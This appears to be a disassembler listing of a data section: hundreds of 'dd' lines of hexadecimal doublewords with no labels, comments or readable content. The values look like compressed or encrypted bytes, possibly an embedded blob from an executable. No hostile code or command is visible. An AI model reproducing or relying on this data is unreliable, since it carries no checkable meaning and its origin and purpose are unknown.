		dd 700566A6h, 54AC0078h, 6B47D8A1h, 1017CEBh, 8F5AB538h
		dd 0C4C0F59Fh, 39D0DEC3h, 9B5BF200h, 0D6035946h, 0FC240900h
		dd 640F1138h, 0E672F0h,	0C22C921Dh, 3F9E23F3h, 0AAEE257Dh
		dd 7D7BC58h, 9D4D63B1h,	0B502EC70h, 90210051h, 0CF8C8EBh
		dd 0D10047D9h, 55C91A53h, 9470D6h, 0E19D5030h, 8878856Bh
		dd 12822700h, 0A5EF5E09h, 13AF0004h, 0A81CF829h, 98025D73h
		dd 0F2A43B70h, 1F9C822Fh, 4275C056h, 807AA0h, 8679F499h
		dd 8C1D03D1h, 34378D00h, 495F270Dh, 583D00D2h, 0A9C22FA4h
		dd 560B0A2Dh, 83FEF775h, 0E01A1018h, 0F26C60h, 1FFC11B2h
		dd 0F6495BC9h, 10145E00h, 0F34E2818h, 907CEEDCh, 0EBEA00F4h
		dd 0F17944A2h, 910B70E9h, 8180D6F7h, 0B85BD3A6h, 73C41870h
		dd 926500CBh, 2A22C1EDh, 9017298h, 75F1DD7Eh, 9A20286Dh
		dd 5F5A00FAh, 83912FDBh, 3007DC1h, 0BBAF5470h, 3E3E0665h
		dd 0FFE79Ch, 71AB4664h,	6C53425Fh, 57887400h, 0FCB21D8Bh
		dd 0EEBFA6Ah, 980908FBh, 0AF1E25E0h, 3D008272h,	0F862EA07h
		dd 28F6FB5Dh, 12CE58Ah,	4474A8AEh, 0F8CF0D3Ah, 85033637h
		dd 0D4C4F1BDh, 0EE3CB0A5h, 0CD6300F7h, 956051FAh, 2B0192DCh
		dd 2DEC36Ch, 0E2DC4224h, 0E8706Bh, 15A974AEh, 68F209B8h
		dd 0DD39DF04h, 3882C46Dh, 6064D1h, 0CDF92411h, 5C310BFEh
		dd 1B007899h, 29F43736h, 0ADCF00D2h, 0B35DF1BFh, 0CE00D675h
		dd 41F0BEACh, 92B69A7h,	459132C6h, 83E36C87h, 0B0C0DAFDh
		dd 9F006D40h, 0ED17F48h, 85B196h, 0C4BBE9AFh, 0A908432h
		dd 7EB38700h, 1D520CD4h, 0D57A0070h, 5964816h, 29078175h
		dd 95555ECFh, 0BC802E55h, 242ADBC3h, 8298F152h,	0BBF4433Ah
		dd 0D07338C8h, 4132704h, 16800698h, 7FB4153h, 0F56DE2A3h
		dd 0ACE960EAh, 0A2005722h, 0CBF48A56h, 0BE6F6A6h, 869B7A02h
		dd 30150080h, 0FF003C12h, 97753B56h, 20DB1Eh, 39CA4DC3h
		dd 762A161Ah, 4CF8A200h, 0A4BB9E71h, 35F00E5h, 0AB86DC21h
		dd 72008AEDh, 5BC45D10h, 1E4089Eh, 34E0FADDh, 0E967884Fh
		dd 6FADF84Eh, 8EB73300h, 2A0D7087h, 0AE7F3D63h,	8CFC4B81h
		dd 70567CBDh, 0ED79EBAFh, 0FADEF00h, 0A6CD3CBEh, 55FE3C47h
		dd 44A44683h, 0A00E04Bh, 67212341h, 1DF24835h, 0C026C0B1h
		dd 1C87652Fh, 0BB00F3FAh, 0CB789C03h, 0E3E83713h, 0D4C420h
		dd 5B3C860Bh, 80C96D6h,	479A2303h, 0B8EAD224h, 0B531D4h
		dd 78E05653h, 0EE69EB80h, 140EBC92h, 7264F485h,	63E0CC40h
		dd 90BA4FBFh, 0E7F800C4h, 9826D78Eh, 0B01C819h,	5A61446h
		dd 420E26Ch, 572E3C47h,	0C758A80h, 0E401231Dh, 17C1AF00h
		dd 0E5B58D1Ah, 0BBD9034Bh, 222DB36Ch, 8C0F51F0h, 6CC5EE24h
		dd 5262E300h, 0B579Ch, 722A2CB1h, 0EAD3E3Ah, 7E00C3Fh
		dd 56294ADDh, 0ECA769Bh, 3C805D22h, 85318A9h, 32642D17h
		dd 338F9A0Fh, 0B2027C20h, 0F0F60222h, 0A0A49C53h, 0DF1E14C0h
		dd 0C9EA4470h, 9A095E07h, 0BB601DAFh, 98082FA9h, 3FB21DFBh
		dd 0D0DF00E5h, 0F5145294h, 808AAB3Dh, 5772EC3Ah, 0F15BEB5h
		dd 61CF8D0Bh, 8B277B6Eh, 37F39029h, 0BB7568C0h,	0BF5E3E00h
		dd 3667A081h, 0ECD02855h, 66DC00D8h, 9E63840Eh,	73006B7Eh
		dd 6DEF224Bh, 0F70526Ah, 7A3C74DFh, 0D80128C0h,	0F600A150h
		dd 1CAB9E0Fh, 9C5DDDh, 0DF8A23CDh, 0AF72BEBh, 0B23F5402h
		dd 1177BF70h, 0CAF6F01Fh, 0A3BDC700h, 0E27DD88Ch, 3AA12720h
		dd 6B00BB56h, 0A6E12D9Eh, 8B84485Eh, 0B85D6D03h, 8AE0D73Fh
		dd 130001B3h, 2597F3E5h, 317102h, 0A72F3D8Fh, 0B7390D63h
		dd 557B650Eh, 0B37803F2h, 3A32B75Fh, 79905828h,	1D31E022h
		dd 0C0A6462Ch
		dd 2F8F7ECh, 4A3C422Eh,	73E3805Dh, 0B724659Bh, 1DE90038h
		dd 56B68AD9h, 0F316916Fh, 3000494Bh, 1B5B0F6Dh,	0A7CE03FCh
		dd 0E8D6B4F6h, 0B4618FF2h, 20E307Dh, 0A833300h,	1F6ECAB5h
		dd 67CD17D7h, 0D2F200A9h, 0DD54C9FAh, 0B80E3500h, 63B0C53h
		dd 4A7B0062h, 3D38DFD6h, 0F9718174h, 0CBF27CE0h, 33C53100h
		dd 0B3DEAAD3h, 2B185C64h, 0C2A72009h, 0B4A5CCA0h, 9902CC7Dh
		dd 893CD84Ch, 1858DDh, 0A520EC40h, 28F26FD6h, 0BB86E507h
		dd 0EED4CB7Ah, 0BA3CB0h, 0ED07CA79h, 0CD0FC263h, 5A6D4E13h
		dd 0E75FCC00h, 8D7F40h,	0EA2A65DCh, 472016CAh, 52A3AF01h
		dd 4F8BBF07h, 60FE2071h, 0EE755C38h, 0B3776Fh, 4955B63Ch
		dd 0ED015424h, 7409F171h, 80BBF55Eh, 7BA2941Ah,	0EC1E180Ch
		dd 73DB19B1h, 13AE3600h, 713DA920h, 0C7D9F97Ch,	0B99E5C20h
		dd 60F300D8h, 634B32BFh, 441FAD00h, 0E7A3EB78h,	0C4C500E8h
		dd 0BB2E4568h, 9100873Ch, 3ED44EBFh, 8F9952h, 0D26E4436h
		dd 0BE32F895h, 0EDA01728h, 9B81E700h, 6CD58663h, 659900A4h
		dd 0CABE77FAh, 3A265B8Ch, 21003571h, 6140ECB9h,	79C401DEh
		dd 56CDD458h, 5007C890h, 0A77F5E07h, 28130DFDh,	43E4D099h
		dd 9B4C023Ah, 704792B6h, 0B522A940h, 4E8B0F00h,	9C5A15DCh
		dd 0EDBA0042h, 0C58CBC60h, 0BF00D37Ch, 6D293170h, 3A4F455h
		dd 2F651CE3h, 8690F2CAh, 811ECF8Fh, 0FC5DC861h,	0E2B0CB03h
		dd 99429895h, 62F5002Dh, 2A41808h, 270F45DBh, 0C04A1DC9h
		dd 0ADA0E7AFh, 7A847B39h, 0A70701F7h, 742B83DEh, 6B10FC02h
		dd 6F13FE03h, 0A8E3CE5Ah, 376CFB8Eh, 0E12027F3h, 0C53AFC3Dh
		dd 35802A98h, 356FC3h, 5C949C7Fh, 397BC6DAh, 0E34B8B04h
		dd 0AF059AEh, 45B80717h, 50135BF2h, 0DAEBC511h,	845C0801h
		dd 0E230AFBAh, 1127EFCh, 6B71FF26h, 3C9DDE10h, 80443AF4h
		dd 2A7C6C1Ah, 4788869h,	16FD92C9h, 0D568816Dh, 803DD4F5h
		dd 960AD0A0h, 7159541Dh, 7E0D1C85h, 4ABC8780h, 1E380FA1h
		dd 73A7F441h, 0BDD6C179h, 0F7EAF492h, 0EC00FDB0h, 208D877Eh
		dd 0F777C04h, 0E143F5DDh, 496B9700h, 0C47910EAh, 807FD200h
		dd 8F9BFF27h, 0C2CD00ACh, 0CEDD607Ch, 3005E17h,	55A8830h
		dd 2FBEB2h, 9839FDF8h, 0A50FC0F2h, 569EA600h, 0CE50455h
		dd 472E2C28h, 117B0087h, 0FDBE3CEAh, 0ABC4C104h, 88F07E99h
		dd 629F10D1h, 19B200DDh, 65D8C058h, 7CD24C31h, 378132Eh
		dd 0D6EFD156h, 3D0E7B3h, 4301DDB2h, 2E80D798h, 3C60A20Fh
		dd 5E5C0005h, 4114B11Fh, 0AB004045h, 0D2C689D7h, 1839671h
		dd 0E6817AADh, 0E8425285h, 0C6A0BB2Bh, 0AF01F045h, 24972874h
		dd 4BEC4A8Eh, 0B91F038Ch, 0F01BF3A2h, 9AAEB09Fh, 0D35B65C0h
		dd 76009C12h, 23839D5Fh, 0FD1800EFh, 9FD70D9Ah,	2B0C121h
		dd 5A813D1Dh, 80CD0580h, 738579h, 953F3858h, 0E5C46912h
		dd 0E9F1000h, 7F8CFDFBh, 8A843DB5h, 4EE8A500h, 13C825A1h
		dd 80DF3E3Ah, 0CAD6359Fh, 25419CCh, 0B7A7E4B4h,	0B6E08C78h
		dd 0DA004CC3h, 754AF8FEh, 1E5FB09h, 0A06C3053h,	308D2F35h
		dd 584FC820h, 5B452440h, 6597D0h, 0EADF863Ch, 0DB8BB957h
		dd 90635E00h, 0B709ED62h, 3827E67Bh, 36801805h,	2F24B670h
		dd 4C011C0Dh, 177D6F7Eh, 5571843Ah, 705C64h, 0F86DFDD5h
		dd 295D18D4h, 57C8A107h, 88B15F77h, 0D02017C7h,	90A4A0FCh
		dd 0E0422E9Ah, 0C0321D0Ah, 0DB499F7Fh, 0DE0076C9h, 0A8989394h
		dd 505C73CFh, 71E59495h, 0C725146Ah, 0F000A4F8h, 0F3597611h
		dd 5312D64Fh, 2907A0DEh, 80DB4844h, 7A41B1DCh, 26CB0082h
		dd 0EBD964D5h, 0BC17F4F9h, 60CC02FBh, 7C4209E2h, 2080285Fh
		dd 0EBC79C91h, 8E805500h, 262AF858h, 16EC00C8h,	0D2A0CE46h
		dd 110040E5h, 1EB68890h, 0FD6F35h, 5D61D172h, 632293C0h
		dd 0BDB78D38h, 0F34B0074h, 37F8E2BDh, 0A4FB00E0h, 8BAC9147h
		dd 3E0F54BBh, 400F4C75h, 8DA5A6D0h, 0DD7AA9h, 0FC306805h
		dd 0ED3F01D6h, 920F9C76h, 261AC07Eh, 0E0E8D379h, 904309D5h
		dd 3800340Eh, 27FEE7Eh,	2FD6C318h, 3A36AD0h, 840CC751h
		dd 0B79032B9h, 0DC008679h, 0CE30D2E5h, 0E2C510Fh, 95D609C3h
		dd 5F9C7h, 0C4D447E6h, 21038200h, 42206DA8h, 16E200F3h
		dd 92979D7h, 627AE799h,	28CA9D00h, 98515D58h, 7A380E60h
		dd 0C18E525Eh, 161B3CC0h, 0C65AAED6h, 0E78F1000h, 6D532h
		dd 0A93877D7h, 646104F0h, 1EAC843Dh, 0B4410186h, 8C29CA83h
		dd 227C9840h, 8540067h,	0C30B3573h, 241459D2h, 17CC99FBh
		dd 6300C75Ch, 73D129E4h, 9E21006Ch, 0F561D084h,	75031A52h
		dd 10139A0Bh, 208E819h,	0BE8F0778h, 0D03D32C0h,	7192339Bh
		dd 0AF647B00h, 0E47D293Eh, 0E9113F09h, 78241589h, 0DF01D489h
		dd 0D455509Ch, 500414Ch, 54599336h, 0F65CB865h,	7E9E0032h
		dd 0C77AC163h, 72FCE425h, 815A2A3Dh, 2BE724C6h,	0D3709E76h
		dd 5C9BB811h, 0B095C48h, 28C8C483h, 0FD256EA6h,	26A440F3h
		dd 32C60059h, 0A0214CEFh, 28EA7877h, 66ECE97Dh,	4DFB8200h
		dd 47104BFFh, 0D6E02C94h, 30CE0064h, 8D1F9535h,	32208700h
		dd 0F0DF1267h, 48AA071Eh, 0AB5F16h, 0F6E6158h, 40CC2925h
		dd 7BB198Ch, 0A709CD04h, 54D890D2h, 6D1E10F3h, 0DEC0F024h
		dd 0BDDA9BAEh, 89CCEDFDh, 0D4D51FA3h, 516DC0E9h, 0EC332E71h
		dd 4D0431E2h, 0B795A25Bh, 0C0C51CF4h, 0D7A417E2h, 0FB00F3CBh
		dd 32370913h, 1E1D9585h, 7EA30E60h, 0B0036700h,	5E194548h
		dd 0C62E8CF6h, 0B100861Bh, 14C159A2h, 7BCE0FD9h, 0ABA68817h
		dd 0BA01C091h, 1CC5F04Ch, 0EBE870D1h, 295800A2h, 8BF57D40h
		dd 0C6009462h, 0A5EF4BA3h, 5CFC60h, 0A2680E15h,	9745A10h
		dd 0D7F9171Fh, 7AD2E000h, 1C9A2C67h, 0C0CB2BF6h, 57CE058Eh
		dd 0E8008B95h, 387A147h, 1D345h, 2C5ECC9Eh, 0A0E3D071h
		dd 0F7002E90h, 686153EEh, 2C6BC707h, 802CA335h,	13AD1E3Bh
		dd 0FB0B7363h, 0C09E16C9h, 0B0847B80h, 9F2E0BFCh, 4982F60h
		dd 2D000491h, 33BE7D88h, 2EB856A8h, 87CC17ABh, 23E7E279h
		dd 0B1E05387h, 0C71D1FE0h, 1580A43Ah, 27DF6F73h, 8C6E07C3h
		dd 6071D3B5h, 0F96817DDh, 6AFB901Dh, 840799Fh, 0DC564FDh
		dd 2F920093h, 0DDA2F152h, 480E6639h, 2074F04Bh,	0C279594Eh
		dd 97C60704h, 0D1BDFCF5h, 0D4A764B3h, 571C2E4Dh, 0ED806A4Bh
		dd 0A6E72852h, 42030097h, 0B4BC66F8h, 574F8F1Ch, 4B2A3800h
		dd 3CBD108Bh, 17805508h, 0B60F0258h, 9CB18A3Ah,	57FCCA00h
		dd 2A4E5Ch, 0C80D9C2Bh,	1EC7A247h, 30DF9D00h, 98E7D603h
		dd 8D86172Ch, 9930012Bh, 659DEBB8h, 0F4E06ED4h,	3E9A16F4h
		dd 6EBF0085h, 0A97F5B6h, 0A37F7C00h, 0FAC2EF82h, 8B1912D3h
		dd 0C31600A2h, 1615CFF6h, 65587E07h, 0BFE02D0Bh, 0BE9FA524h
		dd 0CCAD3B64h, 65C85C90h, 6A81C70Ch, 1DEF6DDh, 0E5289604h
		dd 429D5BA2h, 0AC406CC7h, 4F041AFAh, 530E30ADh,	3DACFC80h
		dd 9F1F02D0h, 0ABD266C4h, 26DA4FC0h, 0F8588F7Ah, 0B7FE0024h
		dd 8740DC13h, 0AD12002Bh, 73FFFB46h, 0D0128874h, 341ECD64h
		dd 6F438864h, 45FC98BBh, 52FB004Bh, 3DC4BD2Eh, 5E002A76h
		dd 0AB0C974Dh, 0BB4AB1h, 0CC14A940h, 4419C1ACh,	0C7AAEA00h
		dd 2DA8670Eh, 0CE6C3A7Eh, 6994D50Fh, 9154801Fh,	0C446F562h
		dd 0E439F800h, 0E3018CFBh, 0FE7F3A1Eh, 6791B830h, 0A31E6EE0h
		dd 510007C2h, 5CC1C9BFh
		dd 5B4E00AEh, 0CA8EB374h, 0CCF3EC8Dh, 0A40EB069h, 606C50E4h
		dd 52E9778Ch, 0F436074Ah, 55ADDECEh, 64EC0004h,	2CA3D8C6h
		dd 0C0552509h, 7EF4487Ch, 8EEC0032h, 0A3E77A6h,	760130FAh
		dd 5BF254B2h, 3A21EEF4h, 2AFED4h, 0DF923C50h, 0D88F61A2h
		dd 0F01EED75h, 30A62072h, 88950500h, 9A6C3AACh,	8F3D05FCh
		dd 90603855h, 5292370Ch, 66C54803h, 0E8E819DBh,	7856364Eh
		dd 0EB180462h, 0F1C24A27h, 6144C462h, 0BF1004B0h, 32C0E0C4h
		dd 0A1DFF260h, 62D34B00h, 5C811F1Ah, 561B0014h,	610A6D02h
		dd 0D70286A7h, 0C74C371Eh, 6D381AFh, 2420786Ah,	3171B5h
		dd 0E6C46449h, 8CD3ACA1h, 78418600h, 0D118A668h, 4CAD0080h
		dd 7317BBEBh, 960001A2h, 1B3BC28Ch, 4AF0555Fh, 18E0C7A1h
		dd 0C1005024h, 27C970E9h, 6E3100CAh, 4DC59DCDh,	0C3003DBBh
		dd 87DA1E7Ah, 0E5A9B3h,	8FD0650Ch, 0DC8EE01Ah, 3E08948h
		dd 0EB92FA36h, 0F3ACE169h, 1171D0h, 0A7F9C83Ch,	22367742h
		dd 1E3E8924h, 619E800h,	0D5BB04h, 82AB244Eh, 0D1DC4892h
		dd 7AC8CE00h, 67856B7Bh, 0C95702BCh, 7EF8354Ch,	5D1AE580h
		dd 3A0170B3h, 3D1367EAh, 7D207263h, 12E7247h, 0B76E7D3Ch
		dd 8042CC84h, 7E1102E8h, 0B2FCE019h, 0EA8C90C4h, 0ED390009h
		dd 5D72B775h, 0DD2E7C2Ch, 0A40EBCACh, 7657A16Ah, 8ED850D4h
		dd 47941C7Dh, 2300FAD6h, 119F1433h, 0CD00BE77h,	0AAEC0C64h
		dd 736EDFh, 0A0F77145h,	0BA536ACFh, 91ACE100h, 78DF51D0h
		dd 70803FCDh, 51B7B80h,	0B24E7F9Ah, 668B3F09h, 34D0E2h
		dd 0F807E40h, 0B9964F49h, 2CBC8400h, 25BDBEF0h,	87670744h
		dd 109DE139h, 0E86A96Bh, 334E3400h, 5813C805h, 33902C2h
		dd 0CD4FB70Dh, 0C324AD60h, 6C6F6500h, 7DE480D7h, 74F50BF9h
		dd 0B424F232h, 26A8A2FAh, 0B1131304h, 0C0408406h, 0ECA71210h
		dd 1900BF45h, 785DD83Ch, 172400DDh, 0E1E25A7Bh,	0F0FBEBBh
		dd 0C020A6EBh, 6AF58D75h, 0D09E3C6Fh, 983BDD80h, 14FCB9F0h
		dd 0C01C375h, 0C7490638h, 0C4300DDEh, 0A6A0039h, 251DCFC2h
		dd 0DF047B34h, 0AA5DC992h, 2AACCBC0h, 7EB700E0h, 29FDB362h
		dd 9600F7B8h, 8E1DB207h, 0F0D013h, 0F3FB2508h, 9D1B60EBh
		dd 0E0403B06h, 0E8F910h, 44CF261Ch, 0B5BEDE23h,	0E538B300h
		dd 92AA2CAFh, 341F00B0h, 0E83E3AFDh, 13009940h,	0DE48B761h
		dd 739E5CEBh, 4C8A071Ch, 0AF2B1FCAh, 388947C0h,	0FF2FB0B2h
		dd 0B6382336h, 5CF4A09Ch, 3C8249CEh, 78A80D00h,	2F3DFFD1h
		dd 0A0C0D84Bh, 23DC18h,	0E37792D6h, 700368E7h, 34DE7902h
		dd 0C3954435h, 5A4FF813h, 16540004h, 307E846Fh,	730B0A26h
		dd 2D23FD0h, 0E9A2A73Ah, 846D41FCh, 0EA8F0880h,	4D059E4Eh
		dd 857E29E3h, 1F37FC40h, 13F16B35h, 0D011CD56h,	0E210C460h
		dd 2CA59700h, 4ADB8C87h, 82E4D0h, 7DB7080Bh, 0F69CA874h
		dd 548F1E26h, 8A185001h, 6C38B288h, 17FB987Eh, 4D6E30h
		dd 5BF4740Ah, 0A3F2D4Eh, 0DD4F8776h, 9D60985Dh,	438E5D4h
		dd 37C67B1Dh, 0D24CD0F2h, 0D602E4A5h, 4B257CB5h, 0B160F744h
		dd 1D39E8DFh, 6CBE008Dh, 7805916Ah, 40C40F29h, 7D608504h
		dd 0BF6FE362h, 0E87B9001h, 5579A5F6h, 90F8F9D8h, 25F4F3A8h
		dd 0CB107FCh, 7B381ACh,	6AA850B5h, 400669Dh, 0BC8E2431h
		dd 0F3A4E3h, 0A1B9832Fh, 8FF86FABh, 52344600h, 3691F57Bh
		dd 884000E5h, 0BB6182A7h, 60733A2Ch, 0FCADCE1h,	27762300h
		dd 0D7F2937Bh, 72460F0Ah, 0BF577F5Ah, 501D2C00h, 53B187h
		dd 3EF9097Ch, 189B32BBh, 0DDF4C200h, 6D33E11Bh,	748D002Ah
		dd 0EAF07793h, 5C142F9Fh, 0E4F48Ch, 0BF1AC288h,	0B86B27A4h
		dd 1B700C5h, 175BA1D2h,	0B0708BA3h, 540BC500h, 0D67452Dh
		dd 0FAD30C22h, 38B0D0AFh, 4EBF290Fh, 9A6EC1BBh,	6C20B186h
		dd 0AA50242Ch, 0B73D8028h, 37F1B66Dh, 0A573A700h, 5A34E454h
		dd 0D7FF50FAh, 7BC21305h, 5F60007Ch, 87014AB2h,	0A008092h
		dd 16297DADh, 0E02486h,	0A5ED0290h, 0F04B3442h,	2C355E11h
		dd 5B249A01h, 0CCF71A09h, 0EA057D18h, 0AF75D0AEh, 0FBDB6480h
		dd 0B03D247Bh, 0C84B0149h, 31B94828h, 0A476EEF8h, 3244C40h
		dd 37ED0078h, 0F2B94D91h, 0C71C9523h, 8A00350Ah, 0B249CCC5h
		dd 126000EDh, 5D982C90h, 0CE040CC0h, 68B65231h,	7DFD88C1h
		dd 0FA5438CFh, 5D808F39h, 0E10AF197h, 0E23B42F6h, 0EE3A0083h
		dd 73E87032h, 3A700FCh,	6C51B60Eh, 1600B3E9h, 402E2213h
		dd 0B0D12505h, 6BC10750h, 0E03D426Fh, 0ADBF8132h, 69005877h
		dd 1BC88798h, 0A0D4EEE7h, 1492DBC0h, 0A8B5B0A4h, 0A1602A00h
		dd 0D7DEE8BAh, 765E0C00h, 7411F0F8h, 34DF005Bh,	3E9089F2h
		dd 0EF00B848h, 9D604088h, 0B4C2365Dh, 190400E8h, 0D0C5DB47h
		dd 0AAA2A101h, 8F5EC831h, 19EB9E4h, 0E0654CCFh,	3027D666h
		dd 59F6FC2Ch, 0ABF39200h, 83A085A6h, 0CF60017Ah, 1BDA38D8h
		dd 3B352011h, 0C9AB0200h, 6D8A99AAh, 0E61809ADh, 78F0FB92h
		dd 9D5BE300h, 7FB72883h, 9E57007Bh, 0B5CDEDD7h,	0BC2AC8FBh
		dd 0A122E84Ah, 0B81C029Dh, 9624E541h, 0AB9B0960h, 9A998300h
		dd 0EFFEA3B9h, 90EB0032h, 0D159F123h, 0D203C642h, 0DE17C501h
		dd 5BED89FCh, 67ECE9F1h, 3FBF7DA9h, 680B20Fh, 0CFACF33Eh
		dd 2B005A08h, 6713C404h, 7D5632h, 8DC1F735h, 225812D2h
		dd 0A2000CEAh, 1FAE918Ch, 3734D0FBh, 0C2A5F1h, 0C07BB731h
		dd 135BA400h, 0EC0BF349h, 0A9820025h, 0BA0CE883h, 3000BF4Eh
		dd 2AA49B3Bh, 0E5C109h,	1E762627h, 3FEB738h, 8FBC2D01h
		dd 0C0796B54h, 0C65BE0DAh, 0DCC90251h, 0C41D7C7Dh, 0F40872E1h
		dd 0D200469Eh, 0EB988322h, 7A966063h, 662901FEh, 4223E14Ah
		dd 6C977082h, 734EB200h, 47F3DBF5h, 0F9F2ABh, 30E3D055h
		dd 5F53E7E1h, 0E49C5403h, 8F2FE032h, 0ED357161h, 5846B8E4h
		dd 0F600BAB3h, 12805F47h, 0A000C2BFh, 53E5CBC0h, 1428D6Dh
		dd 4354943Ah, 0D4E27B81h, 0D53D2B47h, 1CE61E45h, 4F0E71C0h
		dd 7C6823Ah, 4118E21Ah,	0A7C47093h, 800A58Fh, 0C835BC5h
		dd 0F29B565h, 72596D84h, 56332EEh, 2AF00F0Bh, 0A216BC25h
		dd 1B00A933h, 0E3F39BD1h, 0BE2D019Ah, 8EF4A6A8h, 0BB26ECDEh
		dd 68361D00h, 0B9FEF133h, 0BA221472h, 8507D0D5h, 0D0E5F075h
		dd 0FB730203h, 44E44200h, 211CCB5Eh, 0EA283D04h, 232438FEh
		dd 1B98AC00h, 8C85C70h,	9597EB00h, 24599CE7h, 0A2F20031h
		dd 0C04EE587h, 0B800936Bh, 52956637h, 79E64C5h,	9975CBC3h
		dd 440FE0E5h, 6A0F808Bh, 7DEB1ADh, 0F9109B4Eh, 6BBFF0h
		dd 64EB0275h, 0D0C48D09h, 0B100AD98h, 50A09C24h, 0FDFD270h
		dd 76BBC53Ch, 5F694420h, 0E500861Bh, 5A1D373Eh,	0F03C28h
		dd 0C9F29D6Dh, 45A7C88Ah, 0D8AE2D07h, 0F8579801h, 61F758A0h
		dd 1B9C00EFh, 76600E3Ah, 2E00AE85h, 21D756Eh, 0DEBE5Dh
		dd 8006A3CAh, 901E9A46h, 0ED009EF4h, 0C48CEE85h, 86D395h
		dd 652F81Dh, 2A68AD78h,	34F1E600h, 4A2B30CFh, 0AF6A0046h
		dd 0DEE511Ch, 27031FACh, 6ECD4921h, 0D287F8B5h,	157572h
		dd 16ED1E5Ah, 17C64B77h, 0FDA72000h, 0B83DDCD5h, 972900C7h
		dd 9A3B3171h, 6E003255h, 0B5C19B77h, 611BABh, 8E27D54Ah
		dd 8337BB25h, 0A5A1A900h, 5F6A0F30h, 0AD9C00E4h, 0F4E59FA3h
		dd 0B8000527h, 0EED2903h, 30018DE9h, 15286BDEh,	50F81BBAh
		dd 5816A02h, 44CE1056h
		dd 22EA00E0h, 0DC7F405Fh, 98B0D60Fh, 0EB4B1F0Fh, 0F21480D5h
		dd 0A08ACAh, 216EF33Ah,	3F5E8ECCh, 9CA3CB00h, 0B7936C47h
		dd 0CF202629h, 8E7400F8h, 64E73D8Dh, 0C00055F4h, 0D4C7A0B5h
		dd 16A4F5Dh, 96BFFC77h,	0D480461Fh, 4804A26Eh, 503AEBBBh
		dd 2E89BB80h, 8319019Ah, 4C327E79h, 7D7BEC0Eh, 0F4DBF912h
		dd 24EED300h, 0E8F8CD12h, 0FE5B0081h, 0CE2A43D0h, 0BA03991Bh
		dd 38D334D6h, 0C0F8B1BCh, 261F42F8h, 78A20Dh, 0DE9E68D1h
		dd 901917Dh, 9D01ED0Eh,	0F5CC7CD7h, 0AD10012h, 3974B098h
		dd 0CE0089B7h, 93BC511Fh, 2688BBA2h, 3FC1ECDh, 0DF3D6987h
		dd 4D4441D8h, 40F3B00Bh, 0D499808Bh, 38439F53h,	0C3A98D3h
		dd 0C761B681h, 0C8F4D827h, 9400B7A1h, 0ACDD93FBh, 3BD2A1Dh
		dd 798F4C99h, 0CCC0C772h, 51000A39h, 887025A5h,	0F43CA3D6h
		dd 245500DDh, 100F3EB7h, 9D00E029h, 3153F321h, 5CB64ED2h
		dd 483B29A0h, 1E66ED92h, 202600FCh, 69C565A1h, 637E400h
		dd 0F2A5194Ch, 8EB3262Eh, 5CD503F5h, 0C1A1A0F5h, 0D787C038h
		dd 51E3DD01h, 0C7CC314h, 0A930FDCDh, 0BCBB0094h, 0F477F578h
		dd 24004B80h, 6A17ECE1h, 394509h, 179347Eh, 55EF7303h
		dd 0D3275F00h, 4DD48694h, 0CD775Eh, 0D4B1AB0h, 56BB96EFh
		dd 1E8C5000h, 0EAFFB951h, 9C203C6Eh, 7212A501h,	0CAFD87CBh
		dd 0F83C7440h, 5F90FB1Dh, 23D40378h, 0F032E996h, 1D4126A4h
		dd 0C0CC75D3h, 7C1842EDh, 960007B8h, 9B1FA90Dh,	7AA8341Ch
		dd 15AF0094h, 7317CA9Ah, 2A00F086h, 0D1A388D5h,	133FECh
		dd 0F4261C39h, 417C0F64h, 0A85CCF07h, 0FC70E667h, 0FECBCAh
		dd 98602656h, 4FE17409h, 0D7D6AF00h, 23D295EEh,	0ACBE031Eh
		dd 0FBCEECC1h, 29AB92C8h, 650084ECh, 463F4EB3h,	1FF10D8Fh
		dd 800BBBB4h, 67F7EE1Fh, 6C00DCC7h, 0CAEF5FE3h,	1EE4F058h
		dd 8079E581h, 6DCBA1D4h, 75006154h, 17BF0A90h, 0BD5723B3h
		dd 7E297A40h, 150050ECh, 92CAAE49h, 733C76h, 5DF96AFDh
		dd 7CC7D4Eh, 43058h, 679A525h, 22BCFDEh, 2ECB8F1Dh, 5360B058h
		dd 917E4E16h, 0C814411Fh, 9DE6E440h, 0B96F56h, 3E851147h
		dd 500A641Dh, 0DC711801h, 294DEAFh, 0FE66C8h, 9905C28Ch
		dd 6952B9BEh, 0DDF16012h, 0C508400h, 81D551h, 3E5ADAEBh
		dd 0BFA2A6B7h, 8B1C2500h, 0C57F4E9h, 81020053h,	0D13D7F86h
		dd 6D0083BBh, 5562D963h, 0A09123EDh, 0BABEA5h, 7A0C3911h
		dd 2849A2B0h, 19670705h, 8093B290h, 9512C8ACh, 0A8FC0Ch
		dd 0E65EDC60h, 0B543F751h, 9A63FC2Ch, 57CA5603h, 592031A9h
		dd 21B52A11h, 9BE07BE0h, 9B4D00F6h, 6B45A367h, 0D5302F2Ch
		dd 7C1F60F7h, 26A87C14h, 0A486D1h, 0CBABF235h, 0D630892Fh
		dd 1B8788E0h, 6BB7417h,	0ABB482B6h, 2506181Fh, 0B38BF7BEh
		dd 13F43A30h, 0BC719500h, 6F34261Dh, 0BBFDB201h, 0A72B7029h
		dd 7CD5FCF0h, 0F88A00A3h, 0ADBD758Dh, 7184E24h,	6A90A61Ah
		dd 744B73D6h, 42AB06F8h, 7014DF64h, 0CBA3F51Fh,	5286BD40h
		dd 69A504h, 25AF17F8h, 1BFFF7ABh, 0F4280590h, 7667E00Ah
		dd 6AD0FB50h, 0DE78E8h,	4ACB434Bh, 0D6D0B4B2h, 56797507h
		dd 0FDC0305Bh, 0F068596Bh, 0F9600E57h, 0CE032E93h, 0A3EA77F8h
		dd 191DC157h, 0AFB5F8h,	0BBDC3C85h, 0E3AC3B5Dh,	0E72D2E00h
		dd 7D25DB3Dh, 4C1B583Ah, 45B84200h, 0F168B180h,	910B6900h
		dd 0B6DEEDF5h, 132D0F22h, 0E040318Bh, 0C9A74C57h, 44631E01h
		dd 0E31A6F62h, 9453B03Ah, 5F034900h, 645C1C4Ah,	3D5790A7h
		dd 0DD816753h, 126B08FAh, 0A54BF052h, 429DF07Dh, 94A4085h
		dd 6B8B0E2Fh, 0B36041B9h, 0DBD628B0h, 0F7EB58h,	13109A04h
		dd 2A5D6715h, 0EC1A09h,	227FEF24h, 889FC8A8h, 0D47CCE01h
		dd 0BC997BAFh, 288085C1h, 0B8CC2F90h, 0DF77BD6Ch, 0AF595001h
		dd 0EABBFE2Ch, 668CD8h,	718DECC8h, 49C455BFh, 3CFF8424h
		dd 54968980h, 13A09337h, 0A80928C2h, 198200FBh,	0EC16BC02h
		dd 84184966h, 8C767000h, 0B23B12D5h, 51DBB500h,	160A74C7h
